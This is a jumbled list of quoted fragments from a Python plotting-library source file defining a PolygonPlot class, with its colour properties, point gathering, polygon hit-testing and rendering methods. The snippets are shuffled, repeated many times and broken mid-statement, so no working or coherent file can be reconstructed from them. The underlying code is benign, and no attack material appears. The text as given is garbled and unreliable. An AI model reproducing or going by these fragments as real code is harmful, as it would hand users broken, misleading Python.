self.edge_color_[:3] + (edge_alpha * self.alpha,)", "It has the same RGB values as face_color_, and its", "lines in screen-space. If you don't want the edge of", "Float(1.0) # The line dash style for the edge of", "if len(index) == 0 or len(value) == 0 or len(index)", "== 4: face_alpha = self.face_color_[-1] else: face_alpha = 1.0 c", "there is no need to reproduce the first point as", "by the parameters. Used by the legend. \"\"\" with gc:", "mappers are linear mappers, and that \"index\" corresponds to X-coordinates", "from __future__ import with_statement # Major library imports import numpy", "to X-coordinates and \"value\" corresponds to Y-coordinates, the points are", "the data-space points are mapped in a nonlinear fashion. Straight", "them in a linear screen-space become curved in a nonlinear", "to transparent; don't try to do this by setting **edge_width**", "linear mappers, and that \"index\" corresponds to X-coordinates and \"value\"", "but the results may be unexpected. Only the data-space points", "of 0 means to make the line as small as", "Collects the data points that are within the bounds of", "value of self.face_color multiplied by self.alpha. effective_face_color = Property(Tuple, depends_on=['face_color',", "_attributes_changed(self): self.invalidate_draw() self.request_redraw() #------------------------------------------------------------------------ # Property getters #------------------------------------------------------------------------ @cached_property def", "the line on the edge of the polygon. edge_color =", "has the same RGB values as edge_color_, and its alpha", "data-space points are mapped in a nonlinear fashion. Straight lines", "set **edge_color** to transparent; don't try to do this by", "alpha value is the # alpha value of self.face_color multiplied", "then returns True if the given point is inside the", "# It has the same RGB values as face_color_, and", "\"\"\" with gc: gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_fill_color(self.effective_face_color) if hasattr(self, 'line_style_'): gc.set_line_dash(self.line_style_)", "ink on the page. \"\"\" # The color of the", "point-in-polygon testing or point/line proximity testing. If self.hittest_type is \"line\"", "are mapped in a nonlinear fashion. Straight lines connecting them", "value is the # alpha value of self.face_color multiplied by", "of the plot and caches them. \"\"\" if self._cache_valid: return", "as a polygon. \"\"\" with gc: gc.clip_to_rect(self.x, self.y, self.width, self.height)", "polygon. \"\"\" with gc: gc.clip_to_rect(self.x, self.y, self.width, self.height) gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width)", "Private 'BaseXYPlot' interface #---------------------------------------------------------------------- def _gather_points(self): \"\"\" Collects the data", "def _render_icon(self, gc, x, y, width, height): \"\"\" Renders a", "of the polygon. face_color = transparent_color_trait # Override the hittest_type", "self.face_color multiplied by self.alpha. effective_face_color = Property(Tuple, depends_on=['face_color', 'alpha']) #----------------------------------------------------------------------", "possible while still putting ink on the page. \"\"\" #", "self.face_color_[-1] else: face_alpha = 1.0 c = self.face_color_[:3] + (face_alpha", "edge of the polygon to be drawn, set **edge_color** to", "== 1: return True else: return False #------------------------------------------------------------------------ # Event", "self.edge_color_[-1] else: edge_alpha = 1.0 c = self.edge_color_[:3] + (edge_alpha", "False #------------------------------------------------------------------------ # Event handlers #------------------------------------------------------------------------ @on_trait_change('edge_color, edge_width, edge_style, face_color,", "some drawing systems, such as PostScript, a line width of", "polygon. face_color = transparent_color_trait # Override the hittest_type trait inherited", "dataspace. Assuming that the index and value mappers are linear", "last point. Nonlinear mappers are possible, but the results may", "\"\"\" Renders an Nx2 array of screen-space points as a", "!= len(value): self._cached_data_pts = [] self._cache_valid = True return points", "Local imports. from base_xy_plot import BaseXYPlot class PolygonPlot(BaseXYPlot): \"\"\" Plots", "dash style for the edge of the polygon. edge_style =", "enable.api import LineStyle, black_color_trait, \\ transparent_color_trait from kiva.agg import points_in_polygon", "values as face_color_, and its alpha value is the #", "screen-space points as a polygon. \"\"\" with gc: gc.clip_to_rect(self.x, self.y,", "parameters. Used by the legend. \"\"\" with gc: gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width)", "multiplied by self.alpha. effective_edge_color = Property(Tuple, depends_on=['edge_color', 'alpha']) # The", "is the # alpha value of self.face_color multiplied by self.alpha.", "return def hittest(self, screen_pt, threshold=7.0, return_distance=False): \"\"\" Performs point-in-polygon testing", "drawn, set **edge_color** to transparent; don't try to do this", "caches them. \"\"\" if self._cache_valid: return index = self.index.get_data() value", "the edge of the polygon to be drawn, set **edge_color**", "4: edge_alpha = self.edge_color_[-1] else: edge_alpha = 1.0 c =", "if hasattr(self, 'line_style_'): gc.set_line_dash(self.line_style_) gc.draw_rect((x,y,width,height)) return def hittest(self, screen_pt, threshold=7.0,", "connecting them in a linear screen-space become curved in a", "always a tuple of length 4. # It has the", "in dataspace. Assuming that the index and value mappers are", "this by setting **edge_width** to 0. In some drawing systems,", "@cached_property def _get_effective_edge_color(self): if len(self.edge_color_) == 4: edge_alpha = self.edge_color_[-1]", "plot and caches them. \"\"\" if self._cache_valid: return index =", "def hittest(self, screen_pt, threshold=7.0, return_distance=False): \"\"\" Performs point-in-polygon testing or", "same RGB values as edge_color_, and its alpha value is", "face_color_, and its alpha value is the # alpha value", "= Property(Tuple, depends_on=['face_color', 'alpha']) #---------------------------------------------------------------------- # Private 'BaseXYPlot' interface #----------------------------------------------------------------------", "by self.alpha. effective_face_color = Property(Tuple, depends_on=['face_color', 'alpha']) #---------------------------------------------------------------------- # Private", "that \"index\" corresponds to X-coordinates and \"value\" corresponds to Y-coordinates,", "the edge of the polygon. edge_width = Float(1.0) # The", "The line dash style for the edge of the polygon.", "#------------------------------------------------------------------------ @on_trait_change('edge_color, edge_width, edge_style, face_color, alpha') def _attributes_changed(self): self.invalidate_draw() self.request_redraw()", "as an icon into the box defined by the parameters.", "\"\"\" from __future__ import with_statement # Major library imports import", "the index and value mappers are linear mappers, and that", "= self.edge_color_[:3] + (edge_alpha * self.alpha,) return c @cached_property def", "want the edge of the polygon to be drawn, set", "as PostScript, a line width of 0 means to make", "systems, such as PostScript, a line width of 0 means", "as the last point. Nonlinear mappers are possible, but the", "len(self.face_color_) == 4: face_alpha = self.face_color_[-1] else: face_alpha = 1.0", "Assuming that the index and value mappers are linear mappers,", "the # alpha value of self.face_color multiplied by self.alpha. effective_face_color", "gc: gc.clip_to_rect(self.x, self.y, self.width, self.height) gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_line_dash(self.edge_style_) gc.set_fill_color(self.effective_face_color) gc.lines(points)", "self.index.get_data() value = self.value.get_data() if not self.index or not self.value:", "self.invalidate_draw() self.request_redraw() #------------------------------------------------------------------------ # Property getters #------------------------------------------------------------------------ @cached_property def _get_effective_edge_color(self):", "linear screen-space become curved in a nonlinear screen-space; however, the", "point. Nonlinear mappers are possible, but the results may be", "traits.api import Enum, Float, Tuple, Property, cached_property, \\ on_trait_change #", "and \"value\" corresponds to Y-coordinates, the points are arranged in", "The color of the line on the edge of the", "edge_color_, and its alpha value is the # alpha value", "return index = self.index.get_data() value = self.value.get_data() if not self.index", "otherwise. \"\"\" if self.hittest_type in (\"line\", \"point\"): return BaseXYPlot.hittest(self, screen_pt,", "#------------------------------------------------------------------------ @cached_property def _get_effective_edge_color(self): if len(self.edge_color_) == 4: edge_alpha =", "representation of this plot as an icon into the box", "PostScript, a line width of 0 means to make the", "RGB values as face_color_, and its alpha value is the", "polygon. edge_width = Float(1.0) # The line dash style for", "gc: gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_fill_color(self.effective_face_color) if hasattr(self, 'line_style_'): gc.set_line_dash(self.line_style_) gc.draw_rect((x,y,width,height)) return", "\\ transparent_color_trait from kiva.agg import points_in_polygon from traits.api import Enum,", "imports import numpy as np # Enthought library imports. from", "of screen-space points as a polygon. \"\"\" with gc: gc.clip_to_rect(self.x,", "self.alpha. effective_face_color = Property(Tuple, depends_on=['face_color', 'alpha']) #---------------------------------------------------------------------- # Private 'BaseXYPlot'", "# It has the same RGB values as edge_color_, and", "depends_on=['face_color', 'alpha']) #---------------------------------------------------------------------- # Private 'BaseXYPlot' interface #---------------------------------------------------------------------- def _gather_points(self):", "still contains straight lines in screen-space. If you don't want", "of the polygon. edge_color = black_color_trait # The thickness of", "by the legend. \"\"\" with gc: gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_fill_color(self.effective_face_color) if", "Renders a representation of this plot as an icon into", "\"\"\" # The color of the line on the edge", "edge of the polygon. edge_width = Float(1.0) # The line", "\"\"\" if self._cache_valid: return index = self.index.get_data() value = self.value.get_data()", "in screen-space. If you don't want the edge of the", "= Property(Tuple, depends_on=['edge_color', 'alpha']) # The RGBA tuple for rendering", "of self.face_color multiplied by self.alpha. effective_face_color = Property(Tuple, depends_on=['face_color', 'alpha'])", "# The line dash style for the edge of the", "automatically, so there is no need to reproduce the first", "Enum(\"poly\", \"point\", \"line\") # The RGBA tuple for rendering edges.", "kiva.agg import points_in_polygon from traits.api import Enum, Float, Tuple, Property,", "mappers, and that \"index\" corresponds to X-coordinates and \"value\" corresponds", "on_trait_change # Local imports. from base_xy_plot import BaseXYPlot class PolygonPlot(BaseXYPlot):", "\"\"\" if self.hittest_type in (\"line\", \"point\"): return BaseXYPlot.hittest(self, screen_pt, threshold,", "self.hittest_type in (\"line\", \"point\"): return BaseXYPlot.hittest(self, screen_pt, threshold, return_distance) data_pt", "_render(self, gc, points): \"\"\" Renders an Nx2 array of screen-space", "If you don't want the edge of the polygon to", "\"\"\" with gc: gc.clip_to_rect(self.x, self.y, self.width, self.height) gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_line_dash(self.edge_style_)", "be drawn, set **edge_color** to transparent; don't try to do", "\"point\", \"line\") # The RGBA tuple for rendering edges. It", "== 4: edge_alpha = self.edge_color_[-1] else: edge_alpha = 1.0 c", "results may be unexpected. Only the data-space points are mapped", "or len(index) != len(value): self._cached_data_pts = [] self._cache_valid = True", "same RGB values as face_color_, and its alpha value is", "Performs point-in-polygon testing or point/line proximity testing. If self.hittest_type is", "counter-clockwise fashion. The polygon is closed automatically, so there is", "polygon to be drawn, set **edge_color** to transparent; don't try", "to reproduce the first point as the last point. Nonlinear", "line as small as possible while still putting ink on", "black_color_trait, \\ transparent_color_trait from kiva.agg import points_in_polygon from traits.api import", "if points_in_polygon([data_pt], poly)[0] == 1: return True else: return False", "drawing still contains straight lines in screen-space. If you don't", "the results may be unexpected. Only the data-space points are", "self.index or not self.value: return if len(index) == 0 or", "the polygon. edge_style = LineStyle # The color of the", "base_xy_plot import BaseXYPlot class PolygonPlot(BaseXYPlot): \"\"\" Plots a polygon in", "face_alpha = self.face_color_[-1] else: face_alpha = 1.0 c = self.face_color_[:3]", "PolygonPlot(BaseXYPlot): \"\"\" Plots a polygon in dataspace. Assuming that the", "from base_xy_plot import BaseXYPlot class PolygonPlot(BaseXYPlot): \"\"\" Plots a polygon", "the points are arranged in a counter-clockwise fashion. The polygon", "the bounds of the plot and caches them. \"\"\" if", "class BaseXYPlot.hittest(). If self.hittest_type is \"poly\", then returns True if", "a polygon in dataspace. Assuming that the index and value", "putting ink on the page. \"\"\" # The color of", "Property(Tuple, depends_on=['edge_color', 'alpha']) # The RGBA tuple for rendering the", "and caches them. \"\"\" if self._cache_valid: return index = self.index.get_data()", "polygon, and False otherwise. \"\"\" if self.hittest_type in (\"line\", \"point\"):", "\"index\" corresponds to X-coordinates and \"value\" corresponds to Y-coordinates, the", "however, the drawing still contains straight lines in screen-space. If", "length 4. # It has the same RGB values as", "4. # It has the same RGB values as face_color_,", "the polygon to be drawn, set **edge_color** to transparent; don't", "not self.value: return if len(index) == 0 or len(value) ==", "is closed automatically, so there is no need to reproduce", "else: return False #------------------------------------------------------------------------ # Event handlers #------------------------------------------------------------------------ @on_trait_change('edge_color, edge_width,", "import Enum, Float, Tuple, Property, cached_property, \\ on_trait_change # Local", "or \"point\", then behaves like the parent class BaseXYPlot.hittest(). If", "color of the line on the edge of the polygon.", "no need to reproduce the first point as the last", "gc.lines(points) gc.close_path() gc.draw_path() def _render_icon(self, gc, x, y, width, height):", "the PolygonPlot class. \"\"\" from __future__ import with_statement # Major", "gc, points): \"\"\" Renders an Nx2 array of screen-space points", "the polygon. edge_color = black_color_trait # The thickness of the", "def _get_effective_edge_color(self): if len(self.edge_color_) == 4: edge_alpha = self.edge_color_[-1] else:", "with gc: gc.clip_to_rect(self.x, self.y, self.width, self.height) gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_line_dash(self.edge_style_) gc.set_fill_color(self.effective_face_color)", "if the given point is inside the polygon, and False", "screen_pt, threshold, return_distance) data_pt = self.map_data(screen_pt, all_values=True) index = self.index.get_data()", "in a nonlinear fashion. Straight lines connecting them in a", "line width of 0 means to make the line as", "\"\"\" Performs point-in-polygon testing or point/line proximity testing. If self.hittest_type", "alpha value is the # alpha value of self.edge_color multiplied", "and its alpha value is the # alpha value of", "edge_alpha = self.edge_color_[-1] else: edge_alpha = 1.0 c = self.edge_color_[:3]", "is always a tuple of length 4. # It has", "of length 4. # It has the same RGB values", "return_distance=False): \"\"\" Performs point-in-polygon testing or point/line proximity testing. If", "gc.set_line_dash(self.edge_style_) gc.set_fill_color(self.effective_face_color) gc.lines(points) gc.close_path() gc.draw_path() def _render_icon(self, gc, x, y,", "edge_style = LineStyle # The color of the face of", "the plot and caches them. \"\"\" if self._cache_valid: return index", "the edge of the polygon. edge_style = LineStyle # The", "import LineStyle, black_color_trait, \\ transparent_color_trait from kiva.agg import points_in_polygon from", "self.value.get_data() if not self.index or not self.value: return if len(index)", "arranged in a counter-clockwise fashion. The polygon is closed automatically,", "BaseXYPlot hittest_type = Enum(\"poly\", \"point\", \"line\") # The RGBA tuple", "x, y, width, height): \"\"\" Renders a representation of this", "gc.set_line_width(self.edge_width) gc.set_fill_color(self.effective_face_color) if hasattr(self, 'line_style_'): gc.set_line_dash(self.line_style_) gc.draw_rect((x,y,width,height)) return def hittest(self,", "self.alpha. effective_edge_color = Property(Tuple, depends_on=['edge_color', 'alpha']) # The RGBA tuple", "screen_pt, threshold=7.0, return_distance=False): \"\"\" Performs point-in-polygon testing or point/line proximity", "It is always a tuple of length 4. # It", "the drawing still contains straight lines in screen-space. If you", "self.y, self.width, self.height) gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_line_dash(self.edge_style_) gc.set_fill_color(self.effective_face_color) gc.lines(points) gc.close_path() gc.draw_path()", "index = self.index.get_data() value = self.value.get_data() poly = np.vstack((index,value)).T if", "box defined by the parameters. Used by the legend. \"\"\"", "Event handlers #------------------------------------------------------------------------ @on_trait_change('edge_color, edge_width, edge_style, face_color, alpha') def _attributes_changed(self):", "effective_edge_color = Property(Tuple, depends_on=['edge_color', 'alpha']) # The RGBA tuple for", "drawing systems, such as PostScript, a line width of 0", "\"point\", then behaves like the parent class BaseXYPlot.hittest(). If self.hittest_type", "c @cached_property def _get_effective_face_color(self): if len(self.face_color_) == 4: face_alpha =", "#---------------------------------------------------------------------- # Private 'BaseXYPlot' interface #---------------------------------------------------------------------- def _gather_points(self): \"\"\" Collects", "the parameters. Used by the legend. \"\"\" with gc: gc.set_stroke_color(self.effective_edge_color)", "# Enthought library imports. from enable.api import LineStyle, black_color_trait, \\", "proximity testing. If self.hittest_type is \"line\" or \"point\", then behaves", "cached_property, \\ on_trait_change # Local imports. from base_xy_plot import BaseXYPlot", "points are arranged in a counter-clockwise fashion. The polygon is", "means to make the line as small as possible while", "or len(value) == 0 or len(index) != len(value): self._cached_data_pts =", "in a counter-clockwise fashion. The polygon is closed automatically, so", "the data points that are within the bounds of the", "like the parent class BaseXYPlot.hittest(). If self.hittest_type is \"poly\", then", "fashion. The polygon is closed automatically, so there is no", "#---------------------------------------------------------------------- def _gather_points(self): \"\"\" Collects the data points that are", "if not self.index or not self.value: return if len(index) ==", "alpha value of self.face_color multiplied by self.alpha. effective_face_color = Property(Tuple,", "np.transpose(np.array((index,value))) self._cached_data_pts = points self._cache_valid = True def _render(self, gc,", "Only the data-space points are mapped in a nonlinear fashion.", "np # Enthought library imports. from enable.api import LineStyle, black_color_trait,", "points as a polygon. \"\"\" with gc: gc.clip_to_rect(self.x, self.y, self.width,", "bounds of the plot and caches them. \"\"\" if self._cache_valid:", "= self.index.get_data() value = self.value.get_data() poly = np.vstack((index,value)).T if points_in_polygon([data_pt],", "behaves like the parent class BaseXYPlot.hittest(). If self.hittest_type is \"poly\",", "the legend. \"\"\" with gc: gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_fill_color(self.effective_face_color) if hasattr(self,", "return points = np.transpose(np.array((index,value))) self._cached_data_pts = points self._cache_valid = True", "is no need to reproduce the first point as the", "into the box defined by the parameters. Used by the", "of the edge of the polygon. edge_width = Float(1.0) #", "tuple for rendering the face. It is always a tuple", "\"point\"): return BaseXYPlot.hittest(self, screen_pt, threshold, return_distance) data_pt = self.map_data(screen_pt, all_values=True)", "_render_icon(self, gc, x, y, width, height): \"\"\" Renders a representation", "in (\"line\", \"point\"): return BaseXYPlot.hittest(self, screen_pt, threshold, return_distance) data_pt =", "\\ on_trait_change # Local imports. from base_xy_plot import BaseXYPlot class", "in a nonlinear screen-space; however, the drawing still contains straight", "4. # It has the same RGB values as edge_color_,", "face. It is always a tuple of length 4. #", "edge_width = Float(1.0) # The line dash style for the", "RGBA tuple for rendering the face. It is always a", "the line as small as possible while still putting ink", "edge_color = black_color_trait # The thickness of the edge of", "that the index and value mappers are linear mappers, and", "0. In some drawing systems, such as PostScript, a line", "in a linear screen-space become curved in a nonlinear screen-space;", "face_color = transparent_color_trait # Override the hittest_type trait inherited from", "a counter-clockwise fashion. The polygon is closed automatically, so there", "@on_trait_change('edge_color, edge_width, edge_style, face_color, alpha') def _attributes_changed(self): self.invalidate_draw() self.request_redraw() #------------------------------------------------------------------------", "closed automatically, so there is no need to reproduce the", "make the line as small as possible while still putting", "self.map_data(screen_pt, all_values=True) index = self.index.get_data() value = self.value.get_data() poly =", "**edge_width** to 0. In some drawing systems, such as PostScript,", "# Major library imports import numpy as np # Enthought", "self._cache_valid: return index = self.index.get_data() value = self.value.get_data() if not", "from enable.api import LineStyle, black_color_trait, \\ transparent_color_trait from kiva.agg import", "to make the line as small as possible while still", "still putting ink on the page. \"\"\" # The color", "width, height): \"\"\" Renders a representation of this plot as", "black_color_trait # The thickness of the edge of the polygon.", "its alpha value is the # alpha value of self.face_color", "**edge_color** to transparent; don't try to do this by setting", "inherited from BaseXYPlot hittest_type = Enum(\"poly\", \"point\", \"line\") # The", "possible, but the results may be unexpected. Only the data-space", "= True def _render(self, gc, points): \"\"\" Renders an Nx2", "for rendering edges. It is always a tuple of length", "+ (edge_alpha * self.alpha,) return c @cached_property def _get_effective_face_color(self): if", "within the bounds of the plot and caches them. \"\"\"", "0 or len(value) == 0 or len(index) != len(value): self._cached_data_pts", "poly)[0] == 1: return True else: return False #------------------------------------------------------------------------ #", "= 1.0 c = self.edge_color_[:3] + (edge_alpha * self.alpha,) return", "threshold=7.0, return_distance=False): \"\"\" Performs point-in-polygon testing or point/line proximity testing.", "legend. \"\"\" with gc: gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_fill_color(self.effective_face_color) if hasattr(self, 'line_style_'):", "value = self.value.get_data() poly = np.vstack((index,value)).T if points_in_polygon([data_pt], poly)[0] ==", "a representation of this plot as an icon into the", "self.edge_color multiplied by self.alpha. effective_edge_color = Property(Tuple, depends_on=['edge_color', 'alpha']) #", "an icon into the box defined by the parameters. Used", "given point is inside the polygon, and False otherwise. \"\"\"", "# Property getters #------------------------------------------------------------------------ @cached_property def _get_effective_edge_color(self): if len(self.edge_color_) ==", "polygon is closed automatically, so there is no need to", "len(index) == 0 or len(value) == 0 or len(index) !=", "points_in_polygon([data_pt], poly)[0] == 1: return True else: return False #------------------------------------------------------------------------", "such as PostScript, a line width of 0 means to", "so there is no need to reproduce the first point", "be unexpected. Only the data-space points are mapped in a", "by setting **edge_width** to 0. In some drawing systems, such", "Y-coordinates, the points are arranged in a counter-clockwise fashion. The", "'alpha']) #---------------------------------------------------------------------- # Private 'BaseXYPlot' interface #---------------------------------------------------------------------- def _gather_points(self): \"\"\"", "value = self.value.get_data() if not self.index or not self.value: return", "value of self.edge_color multiplied by self.alpha. effective_edge_color = Property(Tuple, depends_on=['edge_color',", "setting **edge_width** to 0. In some drawing systems, such as", "1: return True else: return False #------------------------------------------------------------------------ # Event handlers", "gc.set_line_dash(self.line_style_) gc.draw_rect((x,y,width,height)) return def hittest(self, screen_pt, threshold=7.0, return_distance=False): \"\"\" Performs", "#------------------------------------------------------------------------ # Property getters #------------------------------------------------------------------------ @cached_property def _get_effective_edge_color(self): if len(self.edge_color_)", "gc.draw_rect((x,y,width,height)) return def hittest(self, screen_pt, threshold=7.0, return_distance=False): \"\"\" Performs point-in-polygon", "first point as the last point. Nonlinear mappers are possible,", "points = np.transpose(np.array((index,value))) self._cached_data_pts = points self._cache_valid = True def", "to 0. In some drawing systems, such as PostScript, a", "return True else: return False #------------------------------------------------------------------------ # Event handlers #------------------------------------------------------------------------", "if len(self.face_color_) == 4: face_alpha = self.face_color_[-1] else: face_alpha =", "the last point. Nonlinear mappers are possible, but the results", "become curved in a nonlinear screen-space; however, the drawing still", "small as possible while still putting ink on the page.", "y, width, height): \"\"\" Renders a representation of this plot", "gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_fill_color(self.effective_face_color) if hasattr(self, 'line_style_'): gc.set_line_dash(self.line_style_) gc.draw_rect((x,y,width,height)) return def", "LineStyle # The color of the face of the polygon.", "= self.value.get_data() if not self.index or not self.value: return if", "rendering edges. It is always a tuple of length 4.", "gc, x, y, width, height): \"\"\" Renders a representation of", "width of 0 means to make the line as small", "\"\"\" Renders a representation of this plot as an icon", "Used by the legend. \"\"\" with gc: gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_fill_color(self.effective_face_color)", "#------------------------------------------------------------------------ # Event handlers #------------------------------------------------------------------------ @on_trait_change('edge_color, edge_width, edge_style, face_color, alpha')", "self.edge_color_[:3] + (edge_alpha * self.alpha,) return c @cached_property def _get_effective_face_color(self):", "1.0 c = self.face_color_[:3] + (face_alpha * self.alpha,) return c", "are arranged in a counter-clockwise fashion. The polygon is closed", "# The RGBA tuple for rendering edges. It is always", "= Enum(\"poly\", \"point\", \"line\") # The RGBA tuple for rendering", "import points_in_polygon from traits.api import Enum, Float, Tuple, Property, cached_property,", "you don't want the edge of the polygon to be", "return False #------------------------------------------------------------------------ # Event handlers #------------------------------------------------------------------------ @on_trait_change('edge_color, edge_width, edge_style,", "Nonlinear mappers are possible, but the results may be unexpected.", "self.value: return if len(index) == 0 or len(value) == 0", "the box defined by the parameters. Used by the legend.", "np.vstack((index,value)).T if points_in_polygon([data_pt], poly)[0] == 1: return True else: return", "page. \"\"\" # The color of the line on the", "face_alpha = 1.0 c = self.face_color_[:3] + (face_alpha * self.alpha,)", "a polygon. \"\"\" with gc: gc.clip_to_rect(self.x, self.y, self.width, self.height) gc.set_stroke_color(self.effective_edge_color)", "return BaseXYPlot.hittest(self, screen_pt, threshold, return_distance) data_pt = self.map_data(screen_pt, all_values=True) index", "as np # Enthought library imports. from enable.api import LineStyle,", "self.index.get_data() value = self.value.get_data() poly = np.vstack((index,value)).T if points_in_polygon([data_pt], poly)[0]", "__future__ import with_statement # Major library imports import numpy as", "imports. from enable.api import LineStyle, black_color_trait, \\ transparent_color_trait from kiva.agg", "of the polygon to be drawn, set **edge_color** to transparent;", "for the edge of the polygon. edge_style = LineStyle #", "poly = np.vstack((index,value)).T if points_in_polygon([data_pt], poly)[0] == 1: return True", "contains straight lines in screen-space. If you don't want the", "handlers #------------------------------------------------------------------------ @on_trait_change('edge_color, edge_width, edge_style, face_color, alpha') def _attributes_changed(self): self.invalidate_draw()", "# The thickness of the edge of the polygon. edge_width", "gc.close_path() gc.draw_path() def _render_icon(self, gc, x, y, width, height): \"\"\"", "straight lines in screen-space. If you don't want the edge", "is \"line\" or \"point\", then behaves like the parent class", "\"\"\" Defines the PolygonPlot class. \"\"\" from __future__ import with_statement", "= Float(1.0) # The line dash style for the edge", "line on the edge of the polygon. edge_color = black_color_trait", "fashion. Straight lines connecting them in a linear screen-space become", "c = self.edge_color_[:3] + (edge_alpha * self.alpha,) return c @cached_property", "plot as an icon into the box defined by the", "of the polygon. edge_width = Float(1.0) # The line dash", "def _attributes_changed(self): self.invalidate_draw() self.request_redraw() #------------------------------------------------------------------------ # Property getters #------------------------------------------------------------------------ @cached_property", "while still putting ink on the page. \"\"\" # The", "Plots a polygon in dataspace. Assuming that the index and", "tuple for rendering edges. It is always a tuple of", "points are mapped in a nonlinear fashion. Straight lines connecting", "is \"poly\", then returns True if the given point is", "line dash style for the edge of the polygon. edge_style", "thickness of the edge of the polygon. edge_width = Float(1.0)", "gc.clip_to_rect(self.x, self.y, self.width, self.height) gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_line_dash(self.edge_style_) gc.set_fill_color(self.effective_face_color) gc.lines(points) gc.close_path()", "edge of the polygon. edge_style = LineStyle # The color", "self.alpha,) return c @cached_property def _get_effective_face_color(self): if len(self.face_color_) == 4:", "do this by setting **edge_width** to 0. In some drawing", "and that \"index\" corresponds to X-coordinates and \"value\" corresponds to", "self.hittest_type is \"line\" or \"point\", then behaves like the parent", "corresponds to Y-coordinates, the points are arranged in a counter-clockwise", "# Event handlers #------------------------------------------------------------------------ @on_trait_change('edge_color, edge_width, edge_style, face_color, alpha') def", "Property getters #------------------------------------------------------------------------ @cached_property def _get_effective_edge_color(self): if len(self.edge_color_) == 4:", "= True return points = np.transpose(np.array((index,value))) self._cached_data_pts = points self._cache_valid", "_gather_points(self): \"\"\" Collects the data points that are within the", "if self._cache_valid: return index = self.index.get_data() value = self.value.get_data() if", "and False otherwise. \"\"\" if self.hittest_type in (\"line\", \"point\"): return", "points self._cache_valid = True def _render(self, gc, points): \"\"\" Renders", "Float, Tuple, Property, cached_property, \\ on_trait_change # Local imports. from", "on the edge of the polygon. edge_color = black_color_trait #", "import with_statement # Major library imports import numpy as np", "data_pt = self.map_data(screen_pt, all_values=True) index = self.index.get_data() value = self.value.get_data()", "alpha') def _attributes_changed(self): self.invalidate_draw() self.request_redraw() #------------------------------------------------------------------------ # Property getters #------------------------------------------------------------------------", "screen-space become curved in a nonlinear screen-space; however, the drawing", "RGB values as edge_color_, and its alpha value is the", "(\"line\", \"point\"): return BaseXYPlot.hittest(self, screen_pt, threshold, return_distance) data_pt = self.map_data(screen_pt,", "\"line\") # The RGBA tuple for rendering edges. It is", "LineStyle, black_color_trait, \\ transparent_color_trait from kiva.agg import points_in_polygon from traits.api", "@cached_property def _get_effective_face_color(self): if len(self.face_color_) == 4: face_alpha = self.face_color_[-1]", "the polygon. face_color = transparent_color_trait # Override the hittest_type trait", "RGBA tuple for rendering edges. It is always a tuple", "# Override the hittest_type trait inherited from BaseXYPlot hittest_type =", "getters #------------------------------------------------------------------------ @cached_property def _get_effective_edge_color(self): if len(self.edge_color_) == 4: edge_alpha", "transparent; don't try to do this by setting **edge_width** to", "library imports import numpy as np # Enthought library imports.", "_get_effective_face_color(self): if len(self.face_color_) == 4: face_alpha = self.face_color_[-1] else: face_alpha", "depends_on=['edge_color', 'alpha']) # The RGBA tuple for rendering the face.", "are possible, but the results may be unexpected. Only the", "gc.set_fill_color(self.effective_face_color) gc.lines(points) gc.close_path() gc.draw_path() def _render_icon(self, gc, x, y, width,", "hittest(self, screen_pt, threshold=7.0, return_distance=False): \"\"\" Performs point-in-polygon testing or point/line", "values as edge_color_, and its alpha value is the #", "# The RGBA tuple for rendering the face. It is", "them. \"\"\" if self._cache_valid: return index = self.index.get_data() value =", "has the same RGB values as face_color_, and its alpha", "Major library imports import numpy as np # Enthought library", "* self.alpha,) return c @cached_property def _get_effective_face_color(self): if len(self.face_color_) ==", "X-coordinates and \"value\" corresponds to Y-coordinates, the points are arranged", "True return points = np.transpose(np.array((index,value))) self._cached_data_pts = points self._cache_valid =", "inside the polygon, and False otherwise. \"\"\" if self.hittest_type in", "or point/line proximity testing. If self.hittest_type is \"line\" or \"point\",", "face of the polygon. face_color = transparent_color_trait # Override the", "= points self._cache_valid = True def _render(self, gc, points): \"\"\"", "class. \"\"\" from __future__ import with_statement # Major library imports", "multiplied by self.alpha. effective_face_color = Property(Tuple, depends_on=['face_color', 'alpha']) #---------------------------------------------------------------------- #", "with gc: gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_fill_color(self.effective_face_color) if hasattr(self, 'line_style_'): gc.set_line_dash(self.line_style_) gc.draw_rect((x,y,width,height))", "to Y-coordinates, the points are arranged in a counter-clockwise fashion.", "are linear mappers, and that \"index\" corresponds to X-coordinates and", "Override the hittest_type trait inherited from BaseXYPlot hittest_type = Enum(\"poly\",", "mapped in a nonlinear fashion. Straight lines connecting them in", "\"poly\", then returns True if the given point is inside", "if len(self.edge_color_) == 4: edge_alpha = self.edge_color_[-1] else: edge_alpha =", "# The color of the line on the edge of", "# The color of the face of the polygon. face_color", "# Private 'BaseXYPlot' interface #---------------------------------------------------------------------- def _gather_points(self): \"\"\" Collects the", "= transparent_color_trait # Override the hittest_type trait inherited from BaseXYPlot", "the same RGB values as edge_color_, and its alpha value", "if self.hittest_type in (\"line\", \"point\"): return BaseXYPlot.hittest(self, screen_pt, threshold, return_distance)", "= black_color_trait # The thickness of the edge of the", "import BaseXYPlot class PolygonPlot(BaseXYPlot): \"\"\" Plots a polygon in dataspace.", "def _gather_points(self): \"\"\" Collects the data points that are within", "points): \"\"\" Renders an Nx2 array of screen-space points as", "0 or len(index) != len(value): self._cached_data_pts = [] self._cache_valid =", "gc.set_fill_color(self.effective_face_color) if hasattr(self, 'line_style_'): gc.set_line_dash(self.line_style_) gc.draw_rect((x,y,width,height)) return def hittest(self, screen_pt,", "don't try to do this by setting **edge_width** to 0.", "If self.hittest_type is \"poly\", then returns True if 